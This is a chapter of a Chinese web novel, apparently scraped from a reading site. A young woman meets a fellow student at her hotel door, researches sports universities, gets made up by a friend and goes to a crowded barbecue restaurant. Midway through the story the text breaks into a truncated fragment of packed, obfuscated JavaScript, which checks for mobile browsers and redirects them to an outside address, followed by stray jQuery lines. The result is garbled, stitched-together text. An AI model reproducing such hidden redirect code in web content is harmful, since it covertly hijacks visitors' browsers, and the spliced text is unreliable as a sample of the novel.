44.烧烤
作品:《姐你睡了吗》 盛安透过猫眼打开门的时候,神情已回归淡漠。她从门铃的节奏直觉出来,来的人大概率不是林生。
门铃是机器,像五星级酒店被培训后的微笑。它在响了短短的一串铃声后就停了,门外的人好像是在犹豫徘徊,又或者是紧张不安。虽然盛安并不十分了解十八岁的林生,但她觉得,林生会按第二次。
当然,服务员也会按第二次。
门打开,薛嘉铭站在门外。他是个细皮嫩肉的男人,白皙的皮肤上因为暖气泛起了一层健康的粉色。金框眼镜后的眼睛看了盛安一眼,又拘谨地绕过她的浴袍,悄然落进房间内。
“你好些了吗?”他温和地问。
盛安注意到他的目光,对他客气地笑笑:“完全好了,昨天晚上吓到你们了,实在是不好意思。”
薛嘉铭挠了一下后脑勺,倒像个孩子面对父母似的小心翼翼了。他犹豫了一下说:“刚才听见你房间里一直有人在说话,想来想去有些担心,所以过来看看。”
是了,墙壁隔音不好,刚才她全身心扑在说服林生上,忘了这一层了。
不过也无所谓,她说:“是的,刚才我在桦城的朋友来找我。”
“哦,不是亲戚吗?”他说。
盛安笑一下,说:“也是亲戚。”
为了不继续这个话题,盛安说:“你没跟他们一起去雾凇林?”
薛嘉铭低着头不好意思地笑:“他们一对情侣,我总挤在人家中间当电灯泡不太合适。刚好昨晚水土不服有些失眠,所以干脆在房间里补觉了。”
盛安点点头,不知道说什么了。她跟薛嘉铭其实并不太熟,大部分时候都是听韩佳子聊起他,又或者是在图书馆里碰到。他们专业不同,男女宿舍楼又在两个区域,学校食堂也有好几层。盛安大多数时间是独来独往,或者跟室友一起搭档。薛嘉铭在她的眼中就是一个书卷气颇重的大学男生,除此之外,她没有刻意去关注。
薛嘉铭说:“那你晚上烧烤还能吃吗?”
盛安笑笑:“当然,我已经跟韩佳子说过了。我身体的问题基本来源于缺觉,睡足了就没事了。”
薛嘉铭又看了一眼房间。房间就这么大,以床为核心的一目了然。他站在门口就能看见屋里没有别人。
他又犹豫了下,终于还是问道:“那你下午还在房间里睡觉?”
盛安:“是啊,睡到昏天黑地,然后去吃烧烤。”
薛嘉铭嘴角上扬一下,眼神却又似黯了一下,说:“嗯,那你睡吧,我也回房间休息,出发时我叫你。”
盛安把门关上,几秒后,听见隔壁传来刷房卡的声音,然后一道门轻轻地关上。
她没有选择睡觉,而是坐回到窗前,打开手机,找出学校里招生处和就业办的电话号码。在屏幕上滑动两下,思考片刻后,又从行李箱里拿出笔记本,搜索有关全国体育大学的各类信息。
原本自己高考择校和专业时,盛佑过来问她,你未来想要从事什么行业,盛安回答是,不知道。她真的是不知道,她最熟悉的职业就是当学生了。她反问盛佑,你想让我做什么?盛佑当时笑得很平静。他说,你觉得做什么开心就做什么。盛安记得当时自己开玩笑说,我啊,做一份完全不用考虑钱的工作就开心,可是有这样的工作吗?如果没有,你也不知道,那就让美国的妈妈决定吧,毕竟没有她从小的鞭笞和养育,也不会有现在的自己。
谢亚君对她的高考分数没有表示满意或不满意,只是直截了当地给她选择了一份完全跟钱打交道的专业。
盛安的脑海里浮现出林生跑步的样子,十四岁时就把陈实的手拗住的样子,她想,他应该是喜欢体育的。田忌赛马,长板效应。
她花了一下午时间查看不同城市不同批次的体育大学基础资料、招生要求、录取分数线,并记下了招生办的电话号码。在此之前,她对体育学科没有任何概念,也没有任何兴趣。这一下午的搜索让她又打开了一个新的世界,原来体育也是可以读到博士的。她以前一直以为搞体育的人都是学习不好的差生。是她狭隘了。
等盛安把眼睛从闪亮的屏幕前转移开时,才发现窗外天色已经晦暗。她下床走到窗边,在最后残留的一丝日光中,看见窗外不知何时下起了鹅毛般的大雪。隔着玻璃窗,白杨长街一片白茫,万籁俱寂。
她总觉得,北方的大雪跟南方的台风天很像,就是会把熟悉的世界变成天气的背景板,又或者说,把复杂的世界洗涤纯粹。五官聚拢,杂音消散,在最原始的自然环境中,人会变得很渺小。因为这份渺小,灵魂会更加清晰。
床头柜上电话在响。
是韩佳子。
韩佳子已经知道盛安完全没事了,也知道她在房间里待了一天,电话里嘟着嘴说自己要过来她房间里化妆。
“大晚上化妆?”盛安诧异道。
“白天的妆不成样了,我还要拍周周烧烤店呢,市民烟火气比旅游景区更容易火。待会儿你给我拍我给你拍啊,我跟陈实白天又吵架了,现在一点都不要看见他。”
韩佳子是个社媒达人,在国内论坛、人人网、开心网、微博、各种空间里都注册了账号,满怀壮志地经营着。她外出旅游时必定相机不离身,总叫陈斌给她拍摄。陈斌很烦这个,为此他们二人吵过不少架。
不过盛安知道他们今天晚上轰轰烈烈睡上一觉就好了,毕竟这种事情发生过太多次,作为他们的朋友,见惯不怪。
性,真的有这么厉害么?盛安不由自主地想,竟比安眠药还有用?韩佳子自从上了大学远离父母后,用学英语的正当理由彻底陷入美剧的怀抱,性格也受其影响变得西化,是宿舍最喜欢聊恋爱和性的女生。她曾在宿舍女生夜聊时大谈特谈,说自己每次睡不好时,就找陈斌睡一觉就好了。还教育盛安,贞操观就是中国传统儒家思想对女生的禁锢。女人的身体是自己的,是自由的,只要能让自己开心,想怎么用就怎么用。
正想着韩佳子的话,这个女人已经啪嗒啪嗒迈着一次性拖鞋重重地按响了门铃。盛安打开门的时候,眼前晃动着一个大大的粉红化妆包。
韩佳子长驱直入,只奔窗前的桌子,一边化一边喊:“你也来化呀!”
盛安笑着摇摇头,说吃个晚饭而已,化了又卸不是多此一举。她给韩佳子拍摄就好了。
“不行!”韩佳子娇骂道,“我可不是那种光自己独美的女性!让闺蜜当自己陪衬这种绿茶的事情我做不出!你必须化,要美一起美!让北方男人见识一下我们南方女人的魅力!亮瞎整体街!”
她一连串的感叹号把盛安炸地身子前后颤动,笑个不停。韩佳子跟自己完全是两类女人,正是因为这种完全不同的差异,盛安觉得自己有点离不开这个女人。
“好。”盛安竟像女儿对妈妈撒娇一般说,“你帮我化嘛,我手残,你知道的。”
韩佳子兴奋地大叫一声:“盛安!记住你现在的声音,以后要多用这种口气跟别人说话,我跟你说,男人最吃这一套!撒娇,娇憨,没人受的了的!趁年轻就要利用女性自带的魅力无往不利!把世界踩在脚下!”
盛安:“……”
又说:“你就不担心我太美了会抢你男人?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16441769|181704||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>韩佳子:“我觉得你抢我的概率更大一点!”
盛安学她说话口气:“亲爱的,你说对了!”
一个小时后,四个人踩着已经积了一层雪的路面朝着周周烧烤出发了。由于天太冷,尽管韩佳子十分不愿意破坏她的精致妆容,她也只能将围巾裹住自己的脸,一边走一边担心围巾蹭掉她的粉底液。
陈斌自觉被韩佳子折磨了一天,在两个女人身后有气无力地跟着。
薛嘉铭走在陈斌的旁边,看着盛安的背影。
幸好周周烧烤距离半月汤十分近,等他们走进烧烤店的时候,帽子上的雪水刚刚到达发丝。
跟洗浴中心一样,烧烤店的暖气也跟不要钱似得。配上噼里啪啦的炭火声,大寒之中更显红火暖意。
陈斌跟从牢里释放一样,刚进去就一把拉开了羽绒服。韩佳子白他一眼,优雅地慢慢拉开羽绒服的拉链,又拿下帽子,用空着的手指梳了梳染成亚麻色的头发,梳了没两下,又立刻皱起眉头,里面的烟味太重了。
烧烤店的门口有一大块空地,私家车摩托车停得满当当的。冬天下雪,所有客人都挪到了室内。可能是因为周六晚上的缘故,他们四人进去后一看,两百多平方的一层竟坐满了散客,只剩角落结账处旁一方桌刚刚翻了台。方桌的右侧方位,则是一间一间的包厢。一阵一着的声浪从门缝里汹涌而出,男人扯着嗓子在划拳喝酒腾云驾雾,中间夹杂着几声女人爽朗的尖细声。
抽烟的抽烟,喝酒的喝酒,打牌的打牌,玩股子的玩股子,烧烤倒好像成了陪衬。
市井流气之地,生意如此火爆。
薛嘉铭几乎没来过这种地方,眉头皱得比韩佳子还厉害,轻声说道: “真在这吃么?”
韩佳子外套都脱了,皱鼻道: “来都来了。”
盛安没说什么,她脱掉外套,把厚厚的羽绒服架在椅背后。从北京出来已经第四天,她完全干净的衣服已经没有了。考虑到北方室内外温差大,她今晚穿了一件黑色V领羊毛衫和一条修身牛仔裤,高邦马丁靴扎着裤腿,黑发披散。加上韩佳子给她画了一个妩媚的眼妆,盛安整个人看起来又清冷又性感。
两个女生外套一脱,一下子就吸引了附近许多目光。靠里墙那侧坐着一桌五六个男的,叼着烟,眼底浮着血丝,桌子上堆满啤酒瓶和烤串竹签,目光狼狗一样看过来。
韩佳子只感觉很多人看她,但她的目光在陈斌身上。见他偏头就是不看自己,眼睛恶狠狠地剜了男友一眼,把相机架在桌上,开始布置镜头。陈斌躲避着她的目光,拍了拍薛嘉铭的肩膀,示意去展示柜里拿烤串。
盛安也站起来去拿烤串。
这时,烧烤店的玻璃门被一个人拉开。风和雪灌进来一瞬,立刻又被门给隔绝在外。
林生拍了拍身上的雪,抬起头来,目光淡淡地往包厢方向看去时,却突然在一众散客间看见了盛安。她站在烤串展示柜前,黑发夹在耳后,手里端一不锈钢盘子,正专心地挑选烤串,并没有看见他。
林生快速地扫过一眼。中午见她时,盛安完全素颜,就是个高中生小姑娘的模样。晚上再见到她,她化了妆,成熟了不少,羊毛衫系在牛仔裤里,人虽不高,但比例极好,胸部以下全是腿。林生想起中午时她光溜着腿的样子,一时之间竟莫名有些气躁。正犹豫之间,又见一个文质彬彬的男生朝她走去。
薛嘉铭贴在她旁边站着,一手拿盘子,另一手下意识地在鼻梁下扇动,同时低下头,温柔地跟盛安说些什么。
林生一偏头,绕过散客的桌子,走进结账处旁最大的那间包厢。